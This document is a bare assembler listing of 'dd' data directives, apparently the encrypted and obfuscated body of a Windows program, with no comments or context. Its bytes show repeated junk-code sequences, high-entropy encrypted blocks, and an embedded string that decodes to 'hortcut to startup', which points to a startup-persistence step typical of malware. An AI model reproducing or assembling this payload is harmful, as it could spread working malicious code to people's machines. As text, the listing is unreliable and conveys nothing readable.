		dd 29C595FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 238199C3h, 9D8B8F86h, 5E426F1h
		dd 9F5FB5FFh, 95FF05E7h, 5E41971h, 4806F781h, 83FC6902h
		dd 0E43125BDh, 840F0205h, 5Ch, 5958957h, 5B05E427h, 1191858Bh
		dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0C475CFC3h, 59B099EDh, 0E8148C04h, 0Eh, 1741ECB2h
		dd 79849222h, 2546CE75h, 0BD23A986h, 5E43135h, 0C65Fh
		dd 5F536053h, 1189858Bh, 5B6105E4h, 19E585C7h, 5E4h, 0E9FC0000h
		dd 0FFFFF3D6h, 6AC18Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6C0EE1C3h, 0C9825BB3h, 4B8D8DE9h
		dd 6A05E92Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 3786C353h, 0BC8AC945h,	8EA7CC8Ch
		dd 0FE1958Bh, 8D8905E4h, 5E41095h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9FC35040h, 0D95596AFh, 76BF2E61h
		dd 9E9h, 6B3E2B00h, 0DF894861h,	85C7992Fh, 5E42C65h, 6A78h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CDC35646h
		dd 319AB237h, 77E87A7Fh, 85C7D98Ah, 5E430FDh, 0
		dd 0FFDA8B66h, 0E425F5B5h, 95FFF505h, 5E42A61h,	98ADD9BBh
		dd 0FF006A7Fh, 0E410C195h, 0EBC08B05h, 4F8F8228h, 4410FCDDh
		dd 0BD6273ECh, 181885E5h, 7D1CBE35h, 1ADB6C56h,	0CCCA28B1h
		dd 96AE1985h, 13181606h, 74959BE5h, 0B48D8D2Ch,	6A05E92Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9621C356h, 66BBBB27h, 0F2192B8h, 682h, 0C6DF8100h
		dd 894F940Dh, 0E410958Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A609C3D8h
		dd 3DBD8991h, 0C705E401h, 0E42C6585h, 6D4805h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD8B083Dh, 5E408B9h, 8A0Fh,	8B500000h, 85C75AD1h, 5E430FDh
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AFC35040h
		dd 5624D6B4h, 14E985h, 31E90000h, 0D411FC6Ch, 0EC4B6757h
		dd 2379AA48h, 4B01933Eh, 0B5FF6E76h, 5E41001h, 2E758501h
		dd 95FF05E4h, 5E42A61h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0D4C35545h, 0BF0D4845h, 99D895Fh, 8905E429h
		dd 0E40CCD85h, 14E905h,	0FB530000h, 0BBA8262Ch,	0EB2D285Ah
		dd 0B3F12C3Ch, 0B21E254Eh, 6A573Bh, 10C195FFh, 0C08B05E4h
		dd 6F0C79EBh, 11E32525h, 0CA10C71h, 38C293F1h, 65E419EBh
		dd 0D8007655h, 9AE53097h, 977946CAh, 0F71507DBh, 0BB11CDC0h
		dd 4DA6BDFDh, 0FED92876h, 0DB02D37h, 7EF37237h,	1B705CDBh
		dd 2AA8BF40h, 0F37F800Ah, 74061455h, 0C4740D47h, 0C8547E02h
		dd 0C0371B55h, 5F0C470Dh, 378BC87Ah, 0A74EC530h, 7F2BD3D0h
		dd 320F66B4h, 8764B514h, 0C8FB6F02h, 2E528D22h,	5B9946EAh
		dd 0DE1B1700h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 307C0C7Ah, 0FFB44E60h
		dd 0F867A5E4h, 0A37C00C6h, 3EA8A3BEh, 796723D4h, 0F061A3BAh
		dd 0D71B23D7h, 307C0456h, 831D2933h, 0C0982633h, 4FB464B6h
		dd 0D6157636h, 0AC710A07h, 2D0DD963h, 839DC217h, 35982664h
		dd 1F152359h, 48710A77h, 921DAB63h, 39DCF1Fh, 0B495B3CCh
		dd 149323D7h, 6AA1A23Ch, 0B0152633h, 9F710A77h,	4DAACE63h
		dd 0F6D82633h, 7FD2A3BEh, 24C823DAh, 3DB462B6h,	0FF677636h
		dd 307C01E6h, 1794E2B0h, 0A4B462B6h, 23157636h,	56710A07h
		dd 500DD963h, 3D9DC217h, 6A982651h, 6474AD66h, 11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
		dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
		dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9F710A01h,	60FFABBEh
		dd 932023DAh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0B58DFFFFh, 5E92D67h, 2D868D8Dh,	0CF2B05E9h
		dd 8B05E983h, 0FA8D8DC8h, 8905E92Dh, 0E404418Dh, 958D8905h
		dd 0F05E410h, 85C7DFB7h, 5E42C65h, 5BBCh, 20618D29h, 85C705E4h
		dd 5E430FDh, 0
		dd 7499D89h, 0B5FF05E4h, 5E402D9h, 95FFDA8Ah, 5E42A61h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D5C35242h
		dd 55B58B7Dh, 6605E422h, 0B53ED081h, 95FF006Ah,	5E410C1h
		dd 19EBC08Bh, 3EAA478Bh, 4AAB5AD4h, 9966E6DFh, 0C4B5F43Bh
		dd 4EDD01ADh, 0A02A9E2Fh, 5E84Ah, 15FC0000h, 668D709Eh
		dd 575ED68Bh, 0DD8501h,	815B05E4h, 6550C6h, 79B53100h
		dd 2B05E420h, 19B966FFh, 3E048BE0h, 9E9h, 0C9784F00h, 0B5A2A307h
		dd 0C08187A2h, 67DF4BD5h, 69F1E881h, 8D317033h,	5E421BDh
		dd 96FAC081h, 0B5892F8Fh, 5E41851h, 0F3E0489h, 183h, 0D78BF500h
		dd 0F804EF83h, 9B34FF81h, 850FFFFFh, 0FFFFFFB5h, 14840Fh
		dd 0DE80000h, 0A7000000h, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh
		dd 8D8D5AF9h, 5E92F7Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 3BC35747h, 18258D89h,	8D8905E4h, 5E41095h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E5C35545h
		dd 3A8CE2B3h, 0F5952360h, 0B005E420h, 6585C73Dh, 0A405E42Ch
		dd 6A00005Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8965C353h, 0E42835B5h,	0FD85C705h
		dd 5E430h, 31000000h, 0E427E185h, 0F4BB6605h, 0FDB5FF96h
		dd 8905E422h, 0E4087995h, 6195FF05h, 6A05E42Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E915C357h, 8, 0A7160F0Ah, 84401AE8h, 95FF006Ah, 5E410C1h
		dd 1CEBC08Bh, 7D18D026h, 59A6E7Ah, 5EA3A396h, 0B286DC5Fh
		dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0BF1C27FDh,	1D71250Eh
		dd 0B7C94871h, 0D0DA0D0Eh, 3DB9ACDCh, 16C1116Fh, 40CCA992h
		dd 0BF9FFC22h, 30CF145Dh, 0B145ACCEh, 31288E72h, 9C27313Eh
		dd 0E733A93Fh, 894FF4B7h, 31288E7Bh, 64DBD83Bh,	30CF14CEh
		dd 0B145ACCEh, 31288E72h, 9116313Eh, 0E733A93Fh, 0A945F4B7h
		dd 312887FFh, 0E55127CEh, 0BFC948B1h, 67CCC60Eh, 34CCAF8Fh
		dd 0F7978CB3h, 10902582h, 10882DE8h, 34CCB072h,	0F79FEF3Bh
		dd 0A3B06775h, 5538AB0Ah, 0EC40CAE4h, 211B2DD5h, 15592724h
		dd 9CC948E1h, 9D48A372h, 52CCAC38h, 6997761Ch, 28A1114Dh
		dd 3BCCA983h, 34CC8437h, 34C044D9h, 177DACECh, 21786880h
		dd 25E5B5BDh, 0A1EFE202h, 3128AB07h, 37B6453Ch,	0B0C3ACB3h
		dd 34CCACDCh, 2F1B2D8Ah, 13CC1294h, 0BF9BAE3Bh,	0D0DE5908h
		dd 0B141F7CBh, 312B29EEh, 0DC9AACD9h, 34CCACDAh, 6A0FF2CCh
		dd 30E8D8FFh, 30E8E8BAh, 34CCAC8Bh, 80FFA88h, 0E433D2A8h
		dd 3B0C294Fh, 34CC525Dh, 63F42DECh, 3B372D10h, 34CCE0BEh
		dd 66CCC69Dh, 34CCAF26h, 0F7968C67h, 109825E9h,	10882DDDh
		dd 34CCB8E8h, 0F79EEE76h, 4175CADAh, 4C4DCA4Dh,	3BCEAECAh
		dd 34CFBEE3h, 67CCC6B3h, 34CCAF31h, 0F7978CECh,	1090252Dh
		dd 10882D3Fh, 34CCB499h, 0F79FEFCEh, 0AFB91803h, 0C4DCAF6h
		dd 0B1C3CC45h, 34CCAC77h, 0DC9BAC1Ch, 34CCAC38h, 6B0FF3BDh
		dd 30E8D047h, 30E8E8E6h, 34CCACA7h, 110FFB9Eh, 34CA2DE3h
		dd 8945AC76h, 31288182h, 0AE052DFBh, 0B4781B6Ch, 3B24AE1Fh
		dd 34CCCE36h, 3248A3D9h, 3DCCACECh, 0D0E0C1E3h,	4C4DCA3Eh
		dd 3B67AC9Bh, 34CCE64Bh, 4E77CA67h, 364145AFh, 34A6ACD9h
		dd 34CF44BFh, 6FECAC76h, 6845F7F8h, 704DA8B9h, 34D0A8EAh
		dd 678FAC67h, 0C75DBF70h, 98B12E9Eh, 2624B75Fh,	98CCAC76h
		dd 0D3C72BE8h, 2626DEB1h, 4847E363h, 0A7D641B0h, 261C178Eh
		dd 8A96B3CBh, 72CDADECh, 309D11FDh, 0B141A9DFh,	312B2914h
		dd 34A67C31h, 34CF4435h, 6EECACB3h, 6045F61Ah, 704DA8C8h
		dd 34D6A852h, 668EAC3Bh, 808A835Eh, 56C9C2F1h, 0C7877BE6h
		dd 0B9E7F27Ah, 3128BFF4h, 0B0C36C69h, 34CCAD9Ah, 0C4D71B1h
		dd 36CE91FBh, 34F729C1h, 34A6AC67h, 34CF44E0h, 6FECACD9h
		dd 6845F72Fh, 704DA852h, 34D8A81Fh, 678FAC9Dh, 52ACED0Dh
		dd 3BB7E2DFh, 34CCAA3Ah, 344AA3D9h, 55CCACECh, 52CAD4F7h
		dd 3BB6F306h, 34CD1619h, 0C4DCACEh, 0B1C3CCFBh,	34CCACCDh
		dd 34CA2BD6h, 0B0C3ACECh, 34CCAC76h, 0DCCED4BBh, 34A42992h
		dd 0B5AAACCEh, 52B963A4h, 34CAD432h, 6349A319h,	5ECCACECh
		dd 3724FD76h, 14CCAC3Bh, 0BD956FC4h, 0B5C88882h, 28C88823h
		dd 75CCACB3h, 0D3016F88h, 23079DA2h, 3B5F744Ah,	68256484h
		dd 5ECCAC9Ch, 3724FCCEh, 14CCAC67h, 0BD946FEBh,	0B5C8889Dh
		dd 29C888A8h, 74CCAC76h, 54726F6Bh, 0EA9FF8EAh,	2D554893h
		dd 35A9194Eh, 3472A957h, 52B2ADD8h, 0B9690B56h,	0D34925F3h
		dd 0FD598F3Eh, 0CBC94884h, 8947FB1Eh, 3128A49Ah, 3B0C29EAh
		dd 34CC5F5Dh, 0D5927ECh, 0B4C94851h, 0B1C34403h, 34CCACD4h
		dd 0DC9AACA4h, 34CCAC64h, 6A0FF293h, 30E8D850h,	30E8E86Dh
		dd 34CCAC6Dh, 0D80FFA7Dh, 3927B011h, 0BF575A9Eh, 0D0CB79DAh
		dd 31B42CB6h, 2249A3AAh, 5CCACECh, 0D0D659C3h, 33B42C3Eh
		dd 8C48A3CEh, 0BDCCACCEh, 0D0CC99D2h, 0C4DCAB6h, 0B1C3A956h
		dd 34CCAC7Ch, 34C02B79h, 0B1C3AC3Bh, 34CCAC9Bh,	36913945h
		dd 4C4CA983h, 0B1C3C4B5h, 34CCACADh, 0DC9CAC86h, 34CCAC75h
		dd 6C0FF41Bh, 30E8E814h, 30E8E84Fh, 34CCAC70h, 4F0FFCF3h
		dd 0BF923B5Fh, 0D0C1E171h, 0FB47CA73h, 3FB42D5Dh, 0B1C38962h
		dd 34CCAC8Eh, 0DC9FAC0Dh, 34CCACB0h, 6F0FF7F9h,	30E8F065h
		dd 30E8E8F7h, 34CCAC2Ch, 680FFFDEh, 0DDF72300h,	34CCAC68h
		dd 0EB91F7C7h, 0A0837C4Ah, 0CC8B9AEh, 0DD40D5BBh, 34CCAC24h
		dd 0B945C72Bh, 3128B677h, 34CCACDFh, 7975CCB3h,	0CCC87E91h
		dd 34C6458Dh, 7573AC76h, 8C819FFCh, 34CCAC9Ch, 6412275Eh
		dd 0C54DCAF7h, 894132ADh, 31258346h, 0E52161h, 1774A99Fh
		dd 37BBCA6Eh, 0D0D38D18h, 0F50387CBh, 0ADD83472h, 0B5652B2h
		dd 25F3B969h, 8F3ED349h, 4884FD59h, 0FB1ECBC9h,	0E9838947h
		dd 58A4F305h, 17C99D89h, 0BFC05E4h, 25840FC0h, 8D000000h
		dd 0E44C30B5h, 0C58D8B05h, 0B805E426h, 3, 6860Fh, 8D0B0000h
		dd 5E413C1h, 9D89E6FFh,	5E40CF1h, 0A18D8B40h, 8B05E42Bh
		dd 405FB9C0h, 0BD8303E9h, 5E416A1h, 83097500h, 0E4220DBDh
		dd 19740005h, 0C08B5350h, 403B8h, 55858900h, 8D05E41Ah
		dd 0E6A9529Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h
		dd 403B8h, 55858900h, 8D05E41Ah, 0E6A5F39Dh, 5BD3FF05h
		dd 12E858h, 0EB250000h,	291E2A74h, 9D451378h, 38B54071h
		dd 0C2F6F9B4h, 2AE5958Bh, 0B25B05E4h, 89C08BBAh, 0E42C5995h
		dd 8E86105h, 4E000000h,	49E52995h, 8B271A19h, 0E41B859Dh
		dd 840F5905h, 6, 7FF8EE81h, 0C1815A25h,	67F8h, 6840Fh
		dd 9D8B0000h, 5E42D1Dh,	0B5B794BAh, 0C5EA8121h,	6621B59Dh
		dd 67E8CB81h, 880F31FFh, 6, 1049BD89h, 8B5805E4h, 0E41AEDBDh
		dd 0F08105h, 60629DEAh,	2CF18503h, 11E905E4h, 0A2000000h
		dd 0D71EB048h, 0CD83E3CFh, 87022FA2h, 90B1D280h, 97F08161h
		dd 603C5DAEh, 7D9B589h,	58B805E4h, 6106C06Fh, 0B628F081h
		dd 0BD8B4336h, 5E411A1h, 81660189h, 81895FD6h, 345770E9h
		dd 0D8BF0F4Bh, 576CC181h, 8D894B34h, 5E407F5h, 0F01EA83h
		dd 0FFFF8385h, 299D09FFh, 0E805E429h, 0Eh, 8727622Dh, 5DF8D12Fh
		dd 4EE912AEh, 0B70F3643h, 0F38058D0h, 78C08133h, 0B2000071h
		dd 6856h, 81590000h, 0A195D2EBh, 134FF6Fh, 275D958Bh, 665E05E4h
		dd 0F681D38Bh, 7F06B1Ch, 8103F680h, 442429EEh, 2830F46h
		dd 8B000000h, 0BEEE81D9h, 0F5014AAh, 581h, 0EA816600h
		dd 3489B9D3h, 0CA816608h, 9589ECD0h, 5E40069h, 0F04E983h
		dd 0F981DFBFh, 0FFFF8F08h, 0FFAB850Fh, 9529FFFFh, 5E41495h
		dd 54305820h, 13031C8h,	0C26D1210h, 255CBB55h, 2574B300h
		dd 1302F06h, 0C2657701h, 7225993Bh, 404D5BF5h, 8D56C196h
		dd 523058C8h, 13031E0h,	0C26B1204h, 256CBB59h, 2574B305h
		dd 1302B84h, 0C2637140h, 564A4EA0h, 8CB93AADh, 4D416E1h
		dd 853F36ACh, 1303095h,	0E960326Bh, 1303283h, 59F36A60h
		dd 51476A9h, 5147691h, 1303210h, 0AEF36244h, 0A9EE9677h
		dd 13FB50Eh, 0BD93280h,	0E4303240h, 185205DDh, 0AC0662DDh
		dd 6C8DB1A3h, 135D618h,	166B60Dh, 0BF563201h, 4DD96AF7h
		dd 6B303242h, 2D86420h,	21303210h, 886EF156h, 80341670h
		dd 1D341646h, 47303201h, 0CFDFF1D6h, 57187FD8h,	61A38481h
		dd 13021F8h, 10816708h,	2A8C05B3h, 0D56FD434h, 23618974h
		dd 581C563Ch, 2A91AF63h, 8A6B37C4h, 0B40153DEh,	4D4259Dh
		dd 2BA3D94h, 67303202h,	6760E58Ah, 91FB433Bh, 2DF1A771h
		dd 3F37C4h, 6BCE165Ch, 2D86008h, 21303204h, 886AF158h
		dd 80341655h, 193416C4h, 43303240h, 0AE45F172h,	0AB51Ch
		dd 0E5028B9Dh, 0E0ADB901h, 5935D62Bh, 0E961326Bh, 1303283h
		dd 58F36B60h, 5147EA9h,	5147691h, 1303210h, 14F36345h
		dd 200413C4h, 6B1CF282h, 2D86080h, 21303240h, 886AF17Ah
		dd 80341644h, 1734164Ch, 43303204h, 4A5CF150h, 6B38B9B2h
		dd 2D86480h, 21303240h,	886EF17Eh, 80341664h, 1434164Ch
		dd 47303204h, 8FC2F154h, 80566561h, 5F3DDA49h, 607D8420h
		dd 49BB5441h, 38B154ECh, 853FCD3Eh, 13032BAh, 0E9603268h
		dd 1303202h, 59F36AA0h,	51476C9h, 51476A1h, 1303204h, 72F36248h
		dd 0EADA78Fh, 0F7B137E6h, 4F7F2F22h, 6B39F303h,	2D86140h
		dd 21303220h, 886BF14Bh, 80341654h, 17341640h, 42303202h
		dd 511FF152h, 0A8C18838h, 38B047F1h, 0E5B53DC9h, 67303210h
		dd 0F22DF889h, 6B31738Fh, 2D86702h, 21303201h, 886DF1DDh
		dd 8034162Ch, 16341664h, 44303210h, 3F5CF15Dh, 0C933FAA2h
		dd 19198F29h, 0C0B337E5h, 20AD0185h, 8035D660h,	427BA219h
		dd 0A1B53D9Bh, 6B303208h, 2D86104h, 21303202h, 886BF15Ah
		dd 803416DCh, 1A341604h, 42303220h, 270DF143h, 6F300E17h
		dd 8CBDBA44h, 4D47E32h,	0E967326Bh, 1303283h, 5EF36D60h
		dd 5144EA9h, 5147691h, 130321Ch, 12F36543h, 8EF2B355h
		dd 5E0AD9B0h, 1303138h,	56305840h, 13031C8h, 0C26F1210h
		dd 254CBB57h, 2574B300h, 1302F06h, 0C2677501h, 21DB23DDh
		dd 5EFC96B3h, 0FEC9431Ah, 533058F1h, 13031E0h, 0C26A1204h
		dd 2564BB58h, 2574B305h, 1302A84h, 0C2627040h, 450D1F12h
		dd 388503ABh, 6035D60Ch, 0E961326Eh, 1303201h, 58F36B21h
		dd 5147E09h, 51476C1h, 1303236h, 76F36351h, 0BCBDD25Ah
		dd 4D9044Fh, 3845BF8Fh,	758837E8h, 3231A003h, 0E534BBC5h
		dd 0C0FF1925h, 54305820h, 13031C8h, 0C26D1210h,	255CBB55h
		dd 2574B300h, 1302F06h,	0E9837701h, 8BA4F305h, 5958BC0h
		dd 6A05E428h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F206C353h, 0D5AD10DBh, 8BF6D7BFh
		dd 12E8C3h, 0D9EE0000h,	543E2A14h, 0FE09EB08h, 3A90A9E7h
		dd 9D0F572Ch, 48D0Fh, 8B560000h, 8B5E59CEh, 0A4C681CAh
		dd 8B000071h, 0E40F919Dh, 1C3F6805h, 0BD310000h, 5E40D55h
		dd 858B605Ah, 5E41B5Dh,	2CF58D89h, 8B6105E4h, 12F08106h
		dd 0E959A056h, 5, 4BC42A5h, 0DAE88141h,	892726F5h, 0E4278985h
		dd 28C08105h, 600395AFh, 2CA9958Bh, 0E7BF05E4h,	6145A4D1h
		dd 55858950h, 8F05E424h, 6DBD8B06h, 8105E431h, 4495B9EEh
		dd 31B50108h, 8105E414h, 4495B5C6h, 28D0F08h, 0B7000000h
		dd 850F4AF7h, 0FFFFFF9Fh, 20ED9589h, 0B0E905E4h, 60000000h
		dd 0F6DA8C66h, 850F04C2h, 0Ch, 28E5853Bh, 840F05E4h, 36h
		dd 2379853Bh, 840F05E4h, 2Ah, 0FB9853Bh, 840F05E4h, 1Eh
		dd 2D59853Bh, 840F05E4h, 12h, 206DBD83h, 0F0105E4h, 584h
		dd 5FE900h, 0D08B0000h,	8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4C309D8Dh, 5B805E4h
		dd 0FF000000h, 0BC361E3h, 0C18D8DD0h, 6A05E93Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 898BC356h, 0E414B1BDh, 958D8905h, 8905E410h,	0E4243D8Dh
		dd 958D8905h, 0C705E40Fh, 0E42C6585h, 586005h, 3890F00h
		dd 80000000h, 816614D3h, 0C781E6E8h, 0E430FD85h, 5, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 7F29A7Dh, 11B5FF42h,	6605E416h, 0FF49C1BBh, 0E42A6195h
		dd 35BD2905h, 6A05E410h, 0C195FF00h, 8B05E410h,	0FB7AEBC0h
		dd 536CAE8Fh, 0EA1E8DB6h, 0A302F356h, 8163E3EFh, 0B0F705C5h
		dd 5959BF37h, 431125E3h, 6DA38823h, 964442DDh, 8997E74Ch
		dd 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 8398B409h,	9D807870h
		dd 0C4C9E7DEh, 3B8C8C1h, 0F3106163h, 85DCF414h,	7CB3FFE9h
		dd 0DF1734BFh, 29FA616Dh, 49E44D7Ch, 811541FAh,	88381987h
		dd 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h, 1EDF32F0h
		dd 536CEB44h, 74726F68h, 20747563h, 73206F74h, 74726174h
		dd 7075h, 13h dup(0)
		dd 0DB000000h, 157DA2Bh, 0E9000000h, 0F69h, 0E93E4668h
		dd 7F6E905h, 6668FFFCh,	0E905E93Fh, 0FFFC07ECh,	0E940F868h
		dd 7E2E905h, 3768FFFCh,	0E905E941h, 0FFFC07D8h,	0E941E068h
		dd 7CEE905h, 6568FFFCh,	0E905E942h, 0FFFC07C4h,	0E946FF68h
		dd 7BAE905h, 0B768FFFCh, 0E905E949h, 0FFFC07B0h, 0E94AC168h
		dd 7A6E905h, 8EE1FFFCh,	0AD3DA049h, 0EF78EF84h,	28BE21CAh
		dd 6FFD6009h, 14D5A14Ah, 93183DD3h, 0D45D78ECh,	149DC251h
		dd 52DF0091h, 20E0F1DFh, 0E7C92A20h, 7FECFFCEh,	1DEA2ABBh
		dd 5A2DCCC3h, 4AB2D42Eh, 83724379h, 9CC556D7h, 0CC338317h
		dd 0E7782CFCh, 13D62919h, 8395E9E3h, 5AD39967h,	446647DEh
		dd 0CCA3D2A7h, 7B759706h, 8710C927h, 0A635E8A2h, 0A70C981h
		dd 0C2644235h, 7A18E6Dh, 342ACFD8h, 93000000h, 7848AFFFh
		dd 0A73FB069h, 389265D2h, 273FB355h, 6041D6C9h,	0A367FBAAh
		dd 273FF212h, 934235C9h, 985791C7h, 0D06FD99Dh,	0D84EFE21h
		dd 0CD8FCFh, 3D380000h,	436C5549h, 0C314D232h, 36A215CCh
		dd 0B672B641h, 0DDB59A0Fh, 3D95B828h, 1CF6DB48h, 80A939B8h
		dd 0CBEC7DE4h, 47BCAF2Eh, 52C7CCC3h, 24D0846Dh,	1A5940D7h
		dd 4EFB9222h, 0E054D335h, 5DCE7731h, 0A8FC9E74h, 0B764754Bh
		dd 72D2A73Ch, 3CCD5362h, 0BB0AC927h, 0DBAB2FC4h, 20F0A434h
		dd 7CFB1A65h, 4D5C34F0h, 0D74DDB36h, 214010E7h,	0BF3E8EB3h
		dd 0E863052Ah, 24C2E775h, 0DB1E8A4Bh, 28E3FF59h, 0AA00000Dh
		dd 0E69912C7h, 21A44D74h, 67E693B4h, 0A659D2F7h, 0C661336h
		dd 210494DBh, 6643D548h, 0A68B1A8Dh, 0E0C95ACDh, 0A938980Bh
		dd 0C92A236Bh, 0ECB007ACh, 6A0B597Ch, 0DB50D4FDh, 0C292B724h
		dd 1DBD6372h, 8B7ACCC3h, 0FFD36AE1h, 697848AFh,	0D2A73FB0h
		dd 94389265h, 0FADA20E0h, 0F9EB374h, 0C9274A09h, 0EC887FCEh
		dd 274A9375h, 0A95D31C9h, 0DFEE0EA2h, 0C9275139h, 4D9D0FFEh
		dd 5C6E0AC2h, 0FA2B14E7h, 0D9A0CFD7h, 9000000h,	82DBC3Dh
		dd 5374E56Ch, 237C897Dh, 1AF0D949h, 7D2A215Bh, 0D657E587h
		dd 9ABF5346h, 0BBAE6F2Bh, 0C0CCC33Ch, 1EFE8F53h, 0D9CCC307h
		dd 4BFAB766h, 0C2E3F1D6h, 0D2A36F52h, 42128456h, 0FD6E0F5Dh
		dd 0F85277E4h, 298C4635h, 70A0A9Bh, 7ACDCCC3h, 22D7E6BEh
		dd 0E7D2A725h, 0D44010h, 6194B234h, 6CEE6D0Fh, 858B1A18h
		dd 0E0C927E0h, 35F85277h, 22B261D4h, 4D3E6393h,	932194D7h
		dd 2FBE8212h, 0CCC145E9h, 3E85F2Eh, 4D290C9Ch, 0DB1EE77Eh
		dd 8AEC294h, 8A00000Ch,	0C67932E7h, 1846D54h, 47C6B394h
		dd 8639F2D7h, 2C463316h, 0C1E474BBh, 623B528h, 466BFA6Dh
		dd 80A93AADh, 891878EBh, 0C92A228Bh, 0EC50274Ch, 2DD0597Ch
		dd 0BE1E9BBCh, 20B6AB3Fh, 7D65201h, 0A2FBC3Dh, 4D72E76Eh
		dd 0AE930085h, 841293C5h, 6400F55Dh, 6B799EEEh,	0C28382BFh
		dd 99635708h, 348D79C9h, 0B8FE746Ch, 1A233F5h, 0C4D2A75Eh
		dd 5E030190h, 0F766C927h, 4F3EF1D2h, 5EF61283h,	9254C927h
		dd 2E715E5Dh, 9307CFD8h, 8D445AC8h, 0ABEE8AA3h,	7, 883011Ch
		dd 0FFA80000h, 697848AFh, 0D2A72E08h, 0ED907ACDh, 2FDE5B7Ch
		dd 583D95BAh, 31E35086h, 0E95C93D7h, 0FADA5778h, 8D4562FBh
		dd 54C54C28h, 4337A773h, 7AEDD833h, 24BD7FCCh, 0AE63D3E3h
		dd 0EF69C62Ch, 0D38E8E1Fh, 0F649AE63h, 391EB332h, 7B5CCD70h
		dd 0D315FE9Fh, 8448AE63h, 0D55770E5h, 7CED5897h, 0BA2FDE5Bh
		dd 6677C795h, 519C2CA6h, 40EA8E61h, 4B19FECEh, 0F81E693Ah
		dd 8BD9AC4Fh, 3D6AAA3Bh, 0DAAD5478h, 4E08DD5Eh,	0FA8B89DDh
		dd 54783D1Ah, 3D86F38Ah, 0C4D4748h, 0FBFACAB9h,	0ECA44065h
		dd 1C6360DDh, 0F3C2B54Ah, 8CF0CDDCh, 0CFE9BD37h, 0FDAF2409h
		dd 3400338Ch, 59105A7Ch, 0D5A53BEAh, 6E947405h,	0AC538F8Ch
		dd 0FCB1193Ch, 99FA6B0Dh, 5C91E83Ch, 1F6F21E9h,	0FD9E8F8h
		dd 0C89401C8h, 0D5466775h, 138007ECh, 108B482Eh, 3F9997D5h
		dd 0A76A3h, 5C791400h, 9FC250D7h, 0DDFA9312h, 1C45D154h
		dd 5D801097h, 0C629BAD4h, 7867356h, 44FBB095h, 843BF0D5h
		dd 0CA793217h, 5D15FB8Ah, 0BDD2C92Ah, 5A7FECEAh, 213F01DCh
		dd 2D4517DBh, 0A37h, 9663B8DBh,	0D55E8317h, 179CC552h
		dd 56230690h, 971C41D7h, 1785EAFBh, 52C67932h, 940BBA77h
		dd 0D64BFAB7h, 0CB8938F1h, 2A5C5ABAh, 0A1F49DC9h, 0F05A7FECh
		dd 2ABA9F0Dh, 5C36138Bh, 0CB9C1F99h, 19CE9E8Dh,	0EEFAB8Ch
		dd 0C778095Fh, 12D2A747h, 5C7D0CA3h, 288B645Dh,	9021B754h
		dd 16FE3CF3h, 97B22445h, 7DE0BBE5h, 4B2D6928h, 0A7657468h
		dd 370D7E1Bh, 0AFF01FBCh, 9067A483h, 0D7A76921h, 0C711A030h
		dd 13171Ah, 0C9E1FADh, 0EC886D25h, 83A435B4h, 9707A6F6h
		dd 0DA4FF6B2h, 426831F5h, 0DC7E16C6h, 98EC4h, 0B4610C00h
		dd 0F7DA48FFh, 35128B3Ah, 745DC97Ch, 0B59808BFh, 0FE41A2FCh
		dd 3FAE4B6Eh, 7CE388ADh, 0BC23C8EDh, 0F2610A2Fh, 5C0D13A2h
		dd 0A5CAC92Ah, 5A7FECD2h, 899E0DF0h, 9B5A3019h,	28C84F24h
		dd 5ECCC31Dh, 0BDBE90Eh, 81D7FA6Ah, 0C31D10F0h,	8460D7CCh
		dd 0AC59490Dh, 0CFDE8ED2h, 0C92A2149h, 0F0D3B8D9h, 0ABE847F3h
		dd 565765D4h, 90179CC5h, 0B174DE03h, 0D1543E23h, 0DA991D42h
